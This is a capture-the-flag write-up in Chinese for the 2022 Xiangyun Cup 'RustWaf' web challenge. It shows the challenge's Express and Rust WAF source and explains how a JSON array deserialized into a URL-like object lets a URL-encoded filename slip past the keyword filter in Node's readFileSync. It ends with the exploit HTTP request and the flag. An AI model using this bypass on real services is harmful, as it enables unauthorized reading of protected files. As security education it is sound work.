祥云杯初赛-2022-WP

  1. Web
    1. RustWaf

Web

RustWaf

题目给出源码

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({ type: '*/*' }));
const { execFileSync } = require('child_process');
app.post('/readfile', function(req, res) {
let body = req.body.toString();
let file_to_read = "app.js";
const file = execFileSync('/app/rust-waf', [body], { encoding: 'utf-8' }).trim();
try {
file_to_read = JSON.parse(file)
} catch (e) {
file_to_read = file
}
let data = fs.readFileSync(file_to_read);
res.send(data.toString());
});
app.get('/', function(req, res) { res.send('see `/src`'); });
app.get('/src', function(req, res) {
var data = fs.readFileSync('app.js');
res.send(data.toString());
});
app.listen(3000, function() { console.log('start listening on port 3000'); });

main.rs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;

static BLACK_PROPERTY: &str = "protocol";

#[derive(Debug, Serialize, Deserialize)]
struct File{
#[serde(default = "default_protocol")]
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}

pub fn default_protocol() -> String {
"http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){
return String::from("./main.rs");
}
if let Ok(json_body) = serde_json::from_str::<Value>(body) {
if let Some(json_body_obj) = json_body.as_object() {
if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
return String::from("./main.rs");
}
}
//not contains protocol,check if struct is File
if let Ok(file) = serde_json::from_str::<File>(body) {
return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
}
} else{
//body not json
return String::from(body);
}
return String::from("./main.rs");
}

fn main() {
let args: Vec<String> = env::args().collect();
println!("{}", waf(&args[1]));
}

提供了一个文件读取功能,我们可以直接传输字符串也可以传json数据,传进去的内容会在main.rs中进行检查,如果罕有flag或者proc字符串就无法读取文件,对于满足条件的字符串会直接返回给app.js继续进行读取,而不含关键字的JSON数据将会进行解析,只有成功解析为File结构体时才会调用to_string函数输出返回给app.js进行下一步处理。

这里我们可以注意到,nodejs中的文件系统库fs中的readFileSync函数接受URL类的输入,而URL类的属性含有如下属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const url=new URL("http://jututu.top");
console.log(url.protocol);
console.log(url.href);
console.log(url.origin);
console.log(url.pathname);
console.log(url.hostname);
/*
output:
http:
http://jututu.top/
http://jututu.top
/
jututu.top
*/

这些属性与main.rs中的结构体File是一致的。同时,我们可以注意到,to_string操作其实输出的也是一串JSON数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
use std::fs;
use serde_json;
use serde::{Deserialize, Serialize};

#[derive(Debug, Serialize, Deserialize)]
struct File{
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}
fn main() {
let file=File{
protocol:"http",
href:"http://jututu.top/",
origin:"http://jututu.top",
pathname:"/",
hostname:"jututu.top"
};
let sdata = serde_json::to_string(&file);
let sdata = sdata.unwrap();
println!("{}", sdata);
}
/*
output:

{"protocol":"http","href":"http://jututu.top/","origin":"http://jututu.top","pathname":"/","hostname":"jututu.top"}
*/

而这一串JSON数据刚好能被app.js中的JSON.parse函数解析为URL对象,因此我们只需要按照格式输入结构体数据main.rs就会自动帮我们解析得到JSON数据从而被解析为URL对象。

而重点就在这里,readFileSync对输入的url会进行url解码(参考:https://brycec.me/posts/corctf_2022_challenges#simplewaf ),因此这里可以用url解码来绕过,将flag进行url编码或者部分url编码即可。

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /readfile HTTP/1.1
Host: eci-2ze0xya70kbo4gq728da.cloudeci1.ichunqiu.com:3000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 56

["file:",
"file:///fl%61g",
"null",
"/fl%61g",
""
]

flag{88f45655-1050-4b00-a577-01fad53a9202}


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com